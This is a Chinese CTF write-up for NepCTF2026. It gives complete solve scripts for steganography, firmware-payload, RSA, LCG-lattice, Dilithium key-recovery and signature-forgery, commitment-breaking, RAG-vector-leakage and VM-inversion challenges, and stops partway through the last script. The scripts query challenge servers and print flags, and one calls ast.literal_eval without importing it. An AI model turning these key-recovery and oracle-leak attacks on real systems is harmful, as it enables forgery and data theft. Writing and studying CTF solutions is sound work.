NepCTF2026部分wp
MISCCatFlag直接type flag.txt即可如烟大帝独断万古Step 1: 观察异常 Unicode 字符解压后查看 novel.txt,正文没有直接出现 flag。但检查字节可以看到大量形如 EF B8 xx 的序列,对应 Unicode 变体选择符 U+FE00 到 U+FE0F。这些字符通常不可见或弱可见,刚好对应题面“名讳也是尔等能直呼的?”的暗示:真正的信息没有直接显示在正文
MISC
CatFlag
直接type flag.txt即可
如烟大帝独断万古
Step 1: 观察异常 Unicode 字符
解压后查看 novel.txt,正文没有直接出现 flag。但检查字节可以看到大量形如 EF B8 xx 的序列,对应 Unicode 变体选择符 U+FE00 到 U+FE0F。
这些字符通常不可见或弱可见,刚好对应题面“名讳也是尔等能直呼的?”的暗示:真正的信息没有直接显示在正文中。
Step 2: 提取 Variation Selectors 并解码
将每个变体选择符按如下方式映射为十六进制数字:
U+FE00 -> 0
U+FE01 -> 1
...
U+FE0F -> f完整解题脚本如下:
import re
import zipfile
from pathlib import Path
zip_path = Path("ru_yan_da_di_du_duan_mo_gu_.zip")
with zipfile.ZipFile(zip_path) as z:
text = z.read("novel.txt").decode("utf-8")
hex_stream = "".join(
format(ord(ch) - 0xFE00, "x")
for ch in text
if 0xFE00 <= ord(ch) <= 0xFE0F
)
raw = bytes.fromhex(hex_stream)
flag = re.search(rb"NepCTF\{[^}]+\}", raw).group(0).decode()
print(flag)运行输出:
NepCTF{var1at10n_s3l3ct0rs_h4unt_th3_n0v3l-afk6324}谁引闪了我的灯
Step 1: 提取图片线索
压缩包里有两个文件:
sketch_may27b_send.ino.merged.bin
🐮.jpgJPEG 的 COM marker 中有注释:
ch18 id19所以频道是 18,设备 ID 是 19。
Step 2: 逆向固件发包格式
固件是 ESP32-S3 Arduino merged flash。分区表显示 app 位于 0x10000:
ota_0: offset 0x10000, size 0x200000在 app 的字符串中能看到调试菜单和 raw payload 示例:
t / trigger
ch <1-21>
id <1-99>
raw 55 01 01 01 00 00 00 00 00 00 00 00 00 00 00 70用 Xtensa 反汇编跟到 trigger 逻辑,可还原出 16 字节 payload 的格式:
55 <group> <id> 01 01 00 00 00 00 00 00 00 00 00 00 <checksum>其中:
- 默认
group = 1 - 图片给出
id = 19 = 0x13 01 01是 trigger 引闪命令字段- 最后一字节是前 15 字节求和取低 8 位
因此小Y的发射信号码为:
55 01 13 01 01 00 00 00 00 00 00 00 00 00 00 6BStep 3: 计算 flag
完整复现脚本:
from pathlib import Path
from zipfile import ZipFile
import hashlib
import re
raw_zip = Path("raw.zip")
with ZipFile(raw_zip) as zf:
jpg_name = next(name for name in zf.namelist() if name.lower().endswith(".jpg"))
jpg = zf.read(jpg_name)
comment = None
i = 0
while i < len(jpg) - 1:
if jpg[i] == 0xFF and jpg[i + 1] not in (0x00, 0xFF):
marker = jpg[i + 1]
if marker in (0xD8, 0xD9):
i += 2
continue
if 0xD0 <= marker <= 0xD7:
i += 2
continue
length = int.from_bytes(jpg[i + 2:i + 4], "big")
data = jpg[i + 4:i + 2 + length]
if marker == 0xFE:
comment = data.decode(errors="ignore")
break
i += 2 + length
else:
i += 1
if comment is None:
raise RuntimeError("JPEG comment not found")
m = re.search(r"ch(\d+)\s+id(\d+)", comment)
if not m:
raise RuntimeError(f"unexpected comment: {comment!r}")
channel = int(m.group(1))
device_id = int(m.group(2))
# ch18 用于设置 SI24R1 的 RF_CH 寄存器;trigger payload 本身使用 group/id。
group = 1
payload = bytes([
0x55,
group,
device_id,
0x01,
0x01,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00,
])
payload += bytes([sum(payload) & 0xFF])
signal_code = payload.hex(" ").upper()
md5_input = signal_code.replace(" ", "")
flag = f"NepCTF{{{hashlib.md5(md5_input.encode()).hexdigest()}}}"
print(f"comment = {comment}")
print(f"channel = {channel}")
print(f"signal = {signal_code}")
print(f"md5 input = {md5_input}")
print(flag)输出:
comment = ch18 id19
channel = 18
signal = 55 01 13 01 01 00 00 00 00 00 00 00 00 00 00 6B
md5 input = 5501130101000000000000000000006B
NepCTF{5bf7d6ca3d718c33301a52e5f45909b8}【Game】共生(本地)
【Game】共生(联机)
CRYPTO
Blind RAG
Step 1: 观察查询 oracle 的线性泄露
服务端对查询向量执行:
t1 = q * M1^-1
t2 = q * M2^-1数据库中文档向量密文为:
c1 = v1 * M1^T
c2 = v2 * M2^T
v = v1 + v2因此密文内积满足:
c1 · t1 + c2 · t2 = v · q令 q = e_i,即可得到 v[i]。维度 n = 64,所以只需要 64 次查询就能恢复每篇文档的完整明文向量。
Step 2: 恢复向量并解密文档
题面给出文档加密 key 的派生方式:
key = SHA256(v[0].to_bytes(32, LE) || ... || v[63].to_bytes(32, LE))完整脚本如下:
#!/usr/bin/env python3
import hashlib
import json
import urllib.request
from Crypto.Cipher import AES
BASE = "https://jpp7nxl2-mi4s-eecl-itqc-6a5a0be831485-neptunus.nepctf.com"
def get_database():
with urllib.request.urlopen(BASE + "/database", timeout=20) as resp:
return json.load(resp)
def post_query(q):
body = json.dumps({"q": [str(x) for x in q]}).encode()
req = urllib.request.Request(
BASE + "/query",
data=body,
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=20) as resp:
data = json.load(resp)
return [[int(x) for x in part] for part in data["t_q"]]
def dot(a, b, p):
return sum(int(x) * int(y) for x, y in zip(a, b)) % p
def derive_key(v):
material = b"".join((x % (1 << 256)).to_bytes(32, "little") for x in v)
return hashlib.sha256(material).digest()
def decrypt_doc(doc, v):
blob = bytes.fromhex(doc["c_d"])
nonce, ciphertext, tag = blob[:12], blob[12:-16], blob[-16:]
cipher = AES.new(derive_key(v), AES.MODE_GCM, nonce=nonce)
return cipher.decrypt_and_verify(ciphertext, tag).decode()
def main():
challenge = get_database()
p = int(challenge["p"])
n = int(challenge["n"])
basis_tokens = []
for i in range(n):
q = [0] * n
q[i] = 1
basis_tokens.append(post_query(q))
for doc in challenge["database"]:
c1 = [int(x) for x in doc["c_v"][0]]
c2 = [int(x) for x in doc["c_v"][1]]
v = [
(dot(c1, t1, p) + dot(c2, t2, p)) % p
for t1, t2 in basis_tokens
]
plaintext = decrypt_doc(doc, v)
if doc["label"] == "flag" or "flag{" in plaintext:
print(plaintext)
if __name__ == "__main__":
main()运行结果:
flag{v3ct0r_bl1nd_r4g_cpa_m4tr1x_r3c0v3ry}LGC Attack
Step 1: Recover p With Coppersmith
附件中有:
hidden_p_bits = 502
p_high = p >> hidden_p_bits所以
p = p_high * 2^502 + x, 0 <= x < 2^502而 p | N,因此 gcd(N, p_high * 2^502 + x) 会得到一个大因子。这里 x 的大小接近 N^(1/4) 边界,可以直接用 PARI/GP 的 zncoppersmith 求小根。
Step 2: Recover Truncated LCG State
LCG 为:
s_{i+1} = a * (s_i - c) mod p
output_i = s_i >> 256记:
s_i = output_i * 2^256 + e_i, 0 <= e_i < 2^256代入递推可得:
e_{i+1} = a * e_i + const_i mod p继续展开:
e_i = A_i * e_0 + D_i mod p所有 e_i 都很小,这是典型 HNP/CVP。构造格:
diag(p, p, ..., p)
(A_0, A_1, ..., A_5, scale)对目标 (-D_0, -D_1, ..., -D_5, 0) 求最近向量,即可得到所有低位 e_i,其中 e_0 拼回 seed 就是 flag。
Solve Script
import subprocess
from pathlib import Path
from Crypto.Util.number import long_to_bytes
from fpylll import CVP, IntegerMatrix, LLL
N = 22187897828066510143339423882109101247209576020622451563694769495061581497972608742852704623563876205804618112075107327156665212714239515814760701261302340013984847109155166656629490882787990272673673984541861811022094404554774921448726355401410516219793271817030534522963962958070490308209942404568337176872647408723480204530638051188911383907146464459732256966570622985812410658915066458492530664670191920078132385328506090992831038029631657950434160340950576737109430430853406059464503283567537018385968948133588117647661573793901823708129071610152613927334203244932810281755256034938386141530974842254844569528321
p_high = 12893584713798331116600942759943150206120418151997023509455506536023696211103495532459701141560222506396287404281991806673169215725569387084632139466532811869
a = 28027957200917342994497843841336103680324911710592810094032731032876976375097013340444584624516533812877732765356636498755224823412578682144712225174847403676178876842729530020418668275316178350365143345104275212854581823409368968563359126190343866175957965562040341391831548338963211220297011774571830537510
c = 124571295155632298854668399415577720902323410777126805117578537183903196898221472751580119622961799273160546728088218494485037334945651989201379086354957576540850822047253125949625907487566200203531387636024785931802658889886859390346973849762577505739298194345758623618935193592988867173595380777523764885493
outputs = [
35459629419921339976362040468381638066123839606224258519633349558026816286303,
1045546322778744757798155224027010401171937738979194987161584175072074825574059486095128745222283663424497203865965546387207198014160709312298096707168406703048467252308651447094850738077662602429484476014413105145528513111066898432,
1001738739921482369449862751687980804394256848293635937574201608473041018754676565675285739228661253348874308654533500769367779969945586794445233533264348665090551983619055283479861536819636758300759908719346124739657249484856991426,
229643376185707351267793588818201867888464599080579837087062838646934378577627891447115322320543228567784429257634211212211104067152392505417979406212030418671801098448106861614428268257369913416521620960775433551136012900615806754,
951314156459263160499048623244196273210386309541599936113388927958875970325558726219937496488118402314974972559151195414687222344719107677196991289432370698102080079685552353799952692639595301877896445402675601612804908945011453569,
926079803461570796126480348257667042234786454801099108009416659754536879373458059153156741623151249769076507687447652627553135268814990746129897588210164971127746120279043348435887295343399125161176849584366997997265801293138632505,
]
def recover_p():
unknown = 502
p0 = p_high << unknown
x_bound = 1 << unknown
gp_script = f"""
N={N};
p0={p0};
X={x_bound};
roots=zncoppersmith(x+p0,N,X,sqrtint(N));
for(i=1,#roots, p=p0+roots[i]; if(N%p==0, print(p)));
\\\\q
"""
Path("solve_p_tmp.gp").write_text(gp_script)
out = subprocess.check_output(["gp", "-q", "-s", "1024M", "solve_p_tmp.gp"], text=True)
return int(out.strip().splitlines()[-1])
def recover_lcg_low_bits(p):
k = 256
base = 1 << k
dim = len(outputs)
constants = [
a * (outputs[i] * base - c) - outputs[i + 1] * base
for i in range(dim - 1)
]
coeffs = [1]
offsets = [0]
for const in constants:
coeffs.append((coeffs[-1] * a) % p)
offsets.append((a * offsets[-1] + const) % p)
scale = 1 << 250
mat = IntegerMatrix(dim + 1, dim + 1)
for i in range(dim):
mat[i, i] = p
for j, value in enumerate(coeffs):
mat[dim, j] = value
mat[dim, dim] = scale
LLL.reduction(mat)
target = tuple([(-offset) % p for offset in offsets] + [0])
closest = CVP.closest_vector(mat, target)
diffs = [target[i] - closest[i] for i in range(dim)]
for sign in (1, -1):
lows = [sign * diff for diff in diffs]
if all(0 <= low < base for low in lows):
return lows
raise ValueError("failed to recover low bits")
p = recover_p()
lows = recover_lcg_low_bits(p)
seed = (outputs[0] << 256) + lows[0]
flag = long_to_bytes(seed, 64).rstrip(b"\x00")
state = seed
for output in outputs:
assert state >> 256 == output
state = a * (state - c) % p
print(flag.decode())运行输出:
Nepctf{C0pp3rsm1th_m33ts_LLL_in_Latt1c3_w0rld!}ezRSA3
task.py 中 RSA 参数生成逻辑如下:
e = 65537
n = 10000
k = 10
s = set()
while len(s) < n:
s.add(getPrime(50))
sops = sorted(s)
def get_p():
while True:
p = 2 * prod(sample(sops, k)) - 1
if is_prime(p) and gcd(p - 1, e) == 1:
return p可以看到,p 满足:
p = 2 * product(sample(sops, 10)) - 1也就是:
p + 1 = 2 * product(sample(sops, 10))输出文件 out.py 中给出了完整的 sops 列表、N 和密文 c。虽然不知道生成 p 时具体抽取了哪 10 个素数,但 p + 1 一定整除:
M = 2 * product(所有 sops 中的素数)这说明 p + 1 是光滑数,可以用 Williams p+1 分解攻击尝试从 N 中恢复 p。
一开始如果误用 Pollard p-1,会失败,因为题目构造光滑的是 p + 1,不是 p - 1。
exp
使用 gmpy2.lucasv_mod 计算 Lucas 序列。对合适的参数 P,计算:
gcd(V_M(P, 1) - 2, N)即可得到 N 的非平凡因子。
完整脚本如下:
import gmpy2
from Crypto.Util.number import long_to_bytes
ns = {}
exec(open("out.py", "r", encoding="utf-8").read(), ns)
sops = ns["sops"]
N = ns["N"]
c = ns["c"]
e = 65537
# p + 1 整除 M
M = 2
for r in sops:
M *= r
Nmp = gmpy2.mpz(N)
Mmp = gmpy2.mpz(M)
p = None
for P in range(3, 5000):
# 计算 Lucas V_M(P, 1) mod N
V = gmpy2.lucasv_mod(P, 1, Mmp, Nmp)
g = int(gmpy2.gcd(V - 2, Nmp))
if 1 < g < N:
p = g
print(f"found P = {P}")
break
assert p is not None
q = N // p
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, N)
print(long_to_bytes(m).decode())运行后可以得到:
found P = 5
NepCTF{5m0o7h_m4k3s_w1lliam_gr34t}LeakyRAG
Step 1: 分析泄露点
源码 server.py 中的搜索逻辑会对用户提交的 64 维向量归一化,然后对每个文档计算:
score = float(np.dot(vec, doc["vector"]))受保护文档只隐藏 snippet,但 doc_id 和 score 仍然返回。因此如果查询向量为 q,返回的 flag_doc.score 就是 q · f,其中 f 是未知 flag 向量。
embedding 的编码方式也在源码中公开:
v[i] / v[63] = exp((char_i - 128) / 64)所以重建出归一化向量 f 后,用 log(v[i] / v[63]) * 64 + 128 即可还原字符。
Step 2: 用微扰分数重建 flag 向量
先用形如 NepCTF{aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa} 的字符串生成锚点向量,让 flag_doc 稳定进入 top 20。设锚点为单位向量 a,已知基础分数:
b = a · f对每个坐标 i 查询 a + t * e_i。服务端会先归一化该查询向量,所以返回:
y_i = ((a + t * e_i) / ||a + t * e_i||) · f因此:
f_i = (y_i * ||a + t * e_i|| - b) / t完整脚本如下:
import math
import sys
import numpy as np
import requests
TARGET = sys.argv[1] if len(sys.argv) > 1 else (
"https://73g5jcil-rdey-a4mf-uams-6a5ad93032403-neptunus.nepctf.com"
)
DIM = 64
def embed(text: str) -> np.ndarray:
data = text.encode()
v = np.ones(DIM, dtype=np.float64)
for i, b in enumerate(data[: DIM - 1]):
v[i] = np.exp((b - 128) / 64.0)
return v / np.linalg.norm(v)
def decode(v_norm: np.ndarray) -> str:
v = np.array(v_norm, dtype=np.float64)
v = v / np.linalg.norm(v)
ref = v[-1]
out = []
for i in range(DIM - 1):
code = int(round(np.log(v[i] / ref) * 64 + 128))
if 32 <= code <= 126:
out.append(chr(code))
else:
break
return "".join(out)
def search(vec, top_k=20):
r = requests.post(
TARGET + "/api/search",
json={"vector": [float(x) for x in vec], "top_k": top_k},
timeout=15,
)
r.raise_for_status()
return r.json()["results"]
def flag_score(vec):
for rank, item in enumerate(search(vec), 1):
if item["doc_id"] == "flag_doc":
return item["score"], rank
return None, None
anchors = [
"NepCTF{aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa}",
"NepCTF{00000000-0000-0000-0000-000000000000}",
"NepCTF{ffffffff-ffff-ffff-ffff-ffffffffffff}",
"flag{l34ky_v3ct0r_s34rch_1s_n0t_3ncrypt10n}",
]
best = None
for text in anchors:
score, rank = flag_score(embed(text))
if score is not None and (best is None or score > best[0]):
best = (score, rank, text)
if best is None:
raise SystemExit("flag_doc did not appear in top-k; try more anchors")
b, rank, anchor_text = best
anchor = embed(anchor_text)
print(f"anchor={anchor_text!r} rank={rank} score={b}")
for t in [0.2, 0.1, 0.05, 0.02, 0.01]:
recovered = np.zeros(DIM, dtype=np.float64)
missing = []
for i in range(DIM):
q = anchor.copy()
q[i] += t
y, _ = flag_score(q)
if y is None:
missing.append(i)
continue
norm = math.sqrt(1 + t * t + 2 * t * anchor[i])
recovered[i] = (y * norm - b) / t
if missing:
continue
recovered /= np.linalg.norm(recovered)
flag = decode(recovered)
verify_score, verify_rank = flag_score(embed(flag))
print(f"flag={flag}")
print(f"verify rank={verify_rank} score={verify_score}")
break
else:
raise SystemExit("failed to reconstruct all coordinates")Step 3: 运行结果
对第二个实例运行:
python solve_leakyrag.py https://73g5jcil-rdey-a4mf-uams-6a5ad93032403-neptunus.nepctf.com输出:
anchor='NepCTF{aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa}' rank=1 score=0.9799525360272954
flag=NepCTF{f2fad3ec-be45-59ef-f914-026371caafac}
verify rank=1 score=1.0同一方法对前一个实例也能恢复出:
NepCTF{9f43ad65-21b6-276c-b938-8c0b32723e2e}ezgame
这个同上
easyDilithium
Step 1: 分析泄露量
源码里的签名逻辑如下:
y = sample_y()
w = matrix_vec_mul(A, y)
w1_list = [poly_high_bits(p, gamma2) for p in w]
c = generate_challenge(msg, w1_list)
cs1 = poly_vec_scalar_mul(c, s1)
z = poly_vec_add(y, cs1)
noise = [[random.randint(-NOISE_BOUND, NOISE_BOUND) for _ in range(n)] for _ in range(l)]
r = [Poly([y[i].coeffs[j] + noise[i][j] for j in range(n)]) for i in range(l)]
return c, z, r其中 s1 的系数范围是 [-2, 2],noise 的系数范围是 [-15, 15]。服务端返回 c, z, r,所以:
z_i - r_i = c * s1_i - noise_i环是 Z_q[x] / (x^64 + 1)。对每个 challenge 多项式 c 建立卷积矩阵 M_c,就有:
M_c * s1_i ~= z_i - r_i每个签名给 64 条方程,s1 只有 64 个未知系数。收集约 100 到 160 个签名后,噪声会被最小二乘平均掉,结果四舍五入并裁剪到 [-2, 2] 就能恢复私钥。
Step 2: 恢复私钥并伪造目标签名
使用脚本 exploit_dilithium.py:
python exploit_dilithium.py核心代码如下:
def conv_matrix(c_coeffs):
c = challenge.Poly(c_coeffs).centered_list()
n = challenge.n
mat = np.zeros((n, n), dtype=float)
for out_idx in range(n):
for secret_idx in range(n):
if secret_idx <= out_idx:
c_idx = out_idx - secret_idx
sign = 1
else:
c_idx = out_idx + n - secret_idx
sign = -1
mat[out_idx, secret_idx] = sign * c[c_idx]
return mat
def recover_s1(samples):
matrices = []
rhs = [[] for _ in range(challenge.l)]
for c_coeffs, z_lists, r_lists in samples:
matrices.append(conv_matrix(c_coeffs))
for i in range(challenge.l):
rhs[i].append(np.array(z_lists[i], dtype=float) - np.array(r_lists[i], dtype=float))
big_matrix = np.vstack(matrices)
recovered = []
for i in range(challenge.l):
y = np.concatenate(rhs[i])
sol, *_ = np.linalg.lstsq(big_matrix, y, rcond=None)
rounded = np.rint(sol).astype(int)
rounded = np.clip(rounded, -challenge.eta, challenge.eta)
recovered.append(challenge.Poly(rounded.tolist()))
return recovered恢复出 s1 后,直接按正常签名流程给目标消息签名:
def forge_signature(A, t, s1):
while True:
y = challenge.sample_y()
w = challenge.matrix_vec_mul(A, y)
w1_list = [challenge.poly_high_bits(p, challenge.gamma2) for p in w]
c = challenge.generate_challenge("Please give me the flag", w1_list)
z = challenge.poly_vec_add(y, challenge.poly_vec_scalar_mul(c, s1))
z_centered = [coeff for p in z for coeff in p.centered_list()]
if max(abs(v) for v in z_centered) >= challenge.gamma1 - challenge.beta:
continue
if challenge.verify("Please give me the flag", c, z, A, t):
return c, zStep 3: 运行结果
实际远程连接:
ncat --ssl fcoiutu7-z9p8-vhxt-agom-6a5af97f31732-neptune.nepctf.com 443脚本自动请求 160 次非目标消息签名,恢复私钥并提交伪造签名,输出:
[+] collected 160/160 signatures
[+] recovered s1:
[-1, -2, -1, 1, -2, 0, ...]
[-1, 2, 0, -2, 1, 1, ...]
[+] max fractional residuals after rounding: [0.3578273928901492, 0.4003560297260409]
[+] forged locally after 3 attempt(s)
[+] Signature valid! Here is your flag: NepCTF{ML_DSA_n0nse_l34k_4tt4ck}true_ezgame
漏洞分析
服务端每轮核心逻辑如下:
r = secrets.token_bytes(ROUND_RANDOM_BYTES)
dealer = secrets.randbelow(3)
commitment = COM.commit(H(dealer, r))H(dealer, r) 的定义是:
def H(i: int, r: bytes) -> int:
assert 0 <= i <= 2
return int.from_bytes(sha512(bytes([i]) + r).digest(), "big")commitment 返回两个值:
return pow(mask, self.e, self.n), value ^ mask也就是:
token = mask^e mod n
masked = H(dealer, r) xor mask而服务端在玩家输入前会打印:
r = <hex>
commitment: (token, masked)因此对每个候选 dealer,可以计算:
mask = masked ^ H(dealer, r)再验证:
pow(mask, e, n) == token如果验证成立,说明这个 dealer 就是服务端真实出拳。题目中的胜负判断为:
def beats(player: int, dealer: int) -> bool:
return dealer == (player + 1) % 3所以恢复出 dealer 后,玩家只需要选择:
player = (dealer - 1) % 3即可保证当前轮获胜。
利用脚本
脚本同时处理了 PoW、TLS 连接、commitment 验证和 40 轮自动出拳。
import hashlib
import itertools
import re
import socket
import ssl
import sys
HOST = "vqtfs5fy-co86-anq3-gng0-6a5af8ac32487-neptune.nepctf.com"
PORT = 443
MOVES = ("rock", "scissors", "paper")
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
def h(move_id: int, r: bytes) -> int:
return int.from_bytes(hashlib.sha512(bytes([move_id]) + r).digest(), "big")
def recv_until(sock, marker: bytes, echo: bool = False) -> bytes:
data = b""
while marker not in data:
chunk = sock.recv(4096)
if not chunk:
raise EOFError(data.decode("utf-8", "replace"))
data += chunk
if echo:
sys.stdout.write(chunk.decode("utf-8", "replace"))
sys.stdout.flush()
return data
def sendline(sock, line: str) -> None:
sock.sendall(line.encode() + b"\n")
def solve_pow(text: bytes) -> str:
m = re.search(
rb"sha256\(XXX\+([A-Za-z0-9]{17})\) == ([0-9a-f]{64})",
text,
)
if not m:
raise ValueError("PoW prompt not found")
suffix, digest = m.groups()
for chars in itertools.product(ALPHABET, repeat=3):
xxx = "".join(chars).encode()
if hashlib.sha256(xxx + suffix).hexdigest().encode() == digest:
return xxx.decode()
raise ValueError("PoW solution not found")
def parse_parameters(text: bytes):
m = re.search(rb"parameters: n = (\d+), e = (\d+)", text)
if not m:
raise ValueError("parameters not found")
return int(m.group(1)), int(m.group(2))
def parse_round(text: bytes):
r_m = re.search(rb"r = ([0-9a-f]+)", text)
c_m = re.search(rb"commitment: (\([0-9]+, [0-9]+\))", text)
if not r_m or not c_m:
raise ValueError("round data not found")
r = bytes.fromhex(r_m.group(1).decode())
token, masked = ast.literal_eval(c_m.group(1).decode())
return r, token, masked
def choose_move(n: int, e: int, r: bytes, token: int, masked: int) -> str:
for dealer in range(3):
mask = masked ^ h(dealer, r)
if pow(mask, e, n) == token:
player = (dealer - 1) % 3
return MOVES[player]
raise ValueError("dealer move could not be recovered")
def main():
ctx = ssl._create_unverified_context()
with socket.create_connection((HOST, PORT), timeout=15) as raw:
with ctx.wrap_socket(raw, server_hostname=HOST) as sock:
sock.settimeout(20)
first = recv_until(sock, b"[+] Plz Tell Me XXX: ")
pow_answer = solve_pow(first)
print(f"PoW: {pow_answer}")
sendline(sock, pow_answer)
setup = recv_until(sock, b"your move [rock/scissors/paper]: ")
n, e = parse_parameters(setup)
print(f"n bits: {n.bit_length()}, e: {e}")
current = setup
for idx in range(1, 41):
r, token, masked = parse_round(current)
move = choose_move(n, e, r, token, masked)
print(f"round {idx}: {move}")
sendline(sock, move)
if idx == 40:
tail = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
tail += chunk
print(tail.decode("utf-8", "replace"))
break
current = recv_until(sock, b"your move [rock/scissors/paper]: ")
if __name__ == "__main__":
main()运行:
python solve_ezgame.py关键输出:
n bits: 1024, e: 65537
round 1: paper
...
round 40: rock
I played scissors.
You played rock.
You win this round.
You win the game!
flag: NepCTF{6f859e1b-fe35-87d2-08f7-b55697a2d08b}REVERSE
UnknownFirmware
Step 1:确定帧缓冲格式
文件总大小为 976 字节。观察十六进制可发现前 8 字节均为 00,因此先跳过这 8 字节,剩余数据长度为 968 字节:
968 * 8 = 7744 = 88 * 88所以剩余数据可以按 1bpp 位图解析为一张 88x88 的黑白图。直接渲染时能看到类似二维码的斜向纹理,说明图像并不是随机数据,而是每一行相对于上一行发生了固定偏移。
Step 2:修正行错位并还原二维码
设当前行号为 y,第 y 行需要向左循环移动 2 * y 个像素。完成逐行修正后,再整体向左移动 24 像素,即可让二维码处于可扫描位置。
from pathlib import Path
from PIL import Image, ImageOps
import numpy as np
data = Path("decrypted_frame.bin").read_bytes()
payload = data[8:]
bits = []
for byte in payload:
for bit in range(7, -1, -1):
bits.append((byte >> bit) & 1)
raw = np.array(bits[:88 * 88], dtype=np.uint8).reshape(88, 88)
fixed = np.zeros((88, 88), dtype=np.uint8)
for y in range(88):
fixed[y] = np.roll(raw[y], -2 * y)
fixed = np.roll(fixed, -24, axis=1)
img = Image.fromarray(np.where(fixed, 0, 255).astype(np.uint8), "L")
img = ImageOps.expand(img, border=8, fill=255)
img = img.resize((832, 832), Image.Resampling.NEAREST)
img.save("recovered_qr.png")
print("saved recovered_qr.png; scan it to get the flag")运行脚本后会生成 recovered_qr.png,扫描该二维码即可得到最终 flag。

NepCTF{U_Have_Dec0mpiled_Telink_FirmWareWooooW}compile_me_maybe
Step 1: 识别缺失的 witness
源码结构很直接:
using bytes = typename cmc::program<cmc::witness>::bytes;cmc::witness 应该定义在空的 include/generated_witness.hpp 里。vm.hpp 中 witness 被当作 64 字节数组使用,并先经过 validate_witness() 检查。检查逻辑会把 witness 拆成 16 个小端 u32 寄存器,然后执行 checker_program,最终要求寄存器等于 checker_target。
VM 指令包括 xor/add/mul/rotl/sbox/perm/mix/swap/not,这些操作在 32-bit 模意义下都可逆;其中 muli 的立即数是奇数,可以求模逆。
Step 2: 反向执行 checker 并解密
完整求解脚本如下,在题目目录下运行即可:
import math
import pathlib
import re
DATA = pathlib.Path("include/data.hpp").read_text()
MOD32 = 2**32
MASK64 = 2**64 - 1
def arr(name):
m = re.search(rf"{re.escape(name)}[^=]*=\s*\{{(.*?)\}};", DATA, re.S)
if not m:
raise RuntimeError(f"missing array: {name}")
return [int(x.replace("U", ""), 0) for x in re.findall(r"0x[0-9a-fA-F]+|\d+", m.group(1))]
checker_program = arr("checker_program[checker_program_size]")
checker_target = arr("checker_target[checker_register_count]")
permutation_flat = arr("register_permutations[4][checker_register_count]")
register_permutations = [permutation_flat[i * 16:(i + 1) * 16] for i in range(4)]
nibble_sbox = arr("nibble_sbox[16]")
encrypted = arr("encrypted[message_size]")
message_permutation = arr("permutation[message_size]")
inverse_nibble_sbox = [0] * 16
for i, v in enumerate(nibble_sbox):
inverse_nibble_sbox[v] = i
OP_HALT = 0xD3
OP_XORI = 0x8E
OP_ADDI = 0x41
OP_ROTL = 0xB7
OP_XORR = 0x2C
OP_ADDR = 0xF0
OP_SWAP = 0x69
OP_SBOX = 0x15
OP_PERM = 0xCA
OP_MIX = 0x73
OP_MULI = 0xA4
OP_NOT = 0x5B
def rotl32(x, n):
n &= 31
x &= 0xFFFFFFFF
return x if n == 0 else ((x << n) | (x >> (32 - n))) & 0xFFFFFFFF
def rotr32(x, n):
n &= 31
x &= 0xFFFFFFFF
return x if n == 0 else ((x >> n) | (x << (32 - n))) & 0xFFFFFFFF
def rotl8(x, n):
n &= 7
x &= 0xFF
return x if n == 0 else ((x << n) | (x >> (8 - n))) & 0xFF
def xorshift64(x):
x &= MASK64
x ^= (x << 13) & MASK64
x ^= x >> 7
x ^= (x << 17) & MASK64
return x & MASK64
def checker_opcode_mask(step):
x = (0xA5F1523D + step * 0x9E3779B9) & 0xFFFFFFFF
x ^= x >> 16
x = (x * 0x7FEB352D) & 0xFFFFFFFF
x ^= x >> 15
x = (x * 0x846CA68B) & 0xFFFFFFFF
x ^= x >> 16
return x & 0xFF
def read_program_u32(offset):
p = checker_program
return p[offset] | (p[offset + 1] << 8) | (p[offset + 2] << 16) | (p[offset + 3] << 24)
def inverse_substitute_nibbles(x):
out = 0
for shift in range(0, 32, 4):
out |= inverse_nibble_sbox[(x >> shift) & 0xF] << shift
return out & 0xFFFFFFFF
def decode_instructions():
pc = 0
step = 0
instructions = []
while pc < len(checker_program):
opcode = checker_program[pc] ^ checker_opcode_mask(step)
pc += 1
step += 1
if opcode == OP_HALT:
instructions.append(("halt",))
break
if opcode in (OP_XORI, OP_ADDI, OP_MULI):
target = checker_program[pc]
imm = read_program_u32(pc + 1)
pc += 5
name = {OP_XORI: "xori", OP_ADDI: "addi", OP_MULI: "muli"}[opcode]
instructions.append((name, target, imm))
elif opcode == OP_ROTL:
instructions.append(("rotl", checker_program[pc], checker_program[pc + 1]))
pc += 2
elif opcode in (OP_XORR, OP_ADDR, OP_SWAP):
left, right = checker_program[pc], checker_program[pc + 1]
pc += 2
name = {OP_XORR: "xorr", OP_ADDR: "addr", OP_SWAP: "swap"}[opcode]
instructions.append((name, left, right))
elif opcode in (OP_SBOX, OP_NOT):
name = "sbox" if opcode == OP_SBOX else "not"
instructions.append((name, checker_program[pc]))
pc += 1
elif opcode == OP_PERM:
instructions.append(("perm", checker_program[pc]))
pc += 1
elif opcode == OP_MIX:
instructions.append(("mix", checker_program[pc], checker_program[pc + 1], checker_program[pc + 2]))
pc += 3
else:
raise RuntimeError(f"bad opcode {opcode:#x} at step {step - 1}")
return instructions
def recover_witness():
regs = checker_target[:]
for inst in reversed(decode_instructions()):
op = inst[0]
if op == "halt":
continue
if op == "xori":
_, t, imm = inst
regs[t] ^= imm
elif op == "addi":
_, t, imm = inst
regs[t] = (regs[t] - imm) & 0xFFFFFFFF
elif op == "muli":
_, t, imm = inst
regs[t] = (regs[t] * pow(imm, -1, MOD32)) & 0xFFFFFFFF
elif op == "rotl":
_, t, amount = inst
regs[t] = rotr32(regs[t], amount)
elif op == "xorr":
_, left, right = inst
regs[left] ^= regs[right]
elif op == "addr":
_, left, right = inst
regs[left] = (regs[left] - regs[right]) & 0xFFFFFFFF
elif op == "swap":
_, left, right = inst
regs[left], regs[right] = regs[right], regs[left]
elif op == "sbox":
_, t = inst
regs[t] = inverse_substitute_nibbles(regs[t])
elif op == "not":
_, t = inst
regs[t] = (~regs[t]) & 0xFFFFFFFF
elif op == "perm":
_, pidx = inst
old = [0] * 16
for i, src in enumerate(register_permutations[pidx]):
old[src] = regs[i]
regs = old
elif op == "mix":
_, left, right, amount = inst
new_left, new_right = regs[left], regs[right]
old_right = new_right ^ rotl32(new_left, amount * 3 + 1)
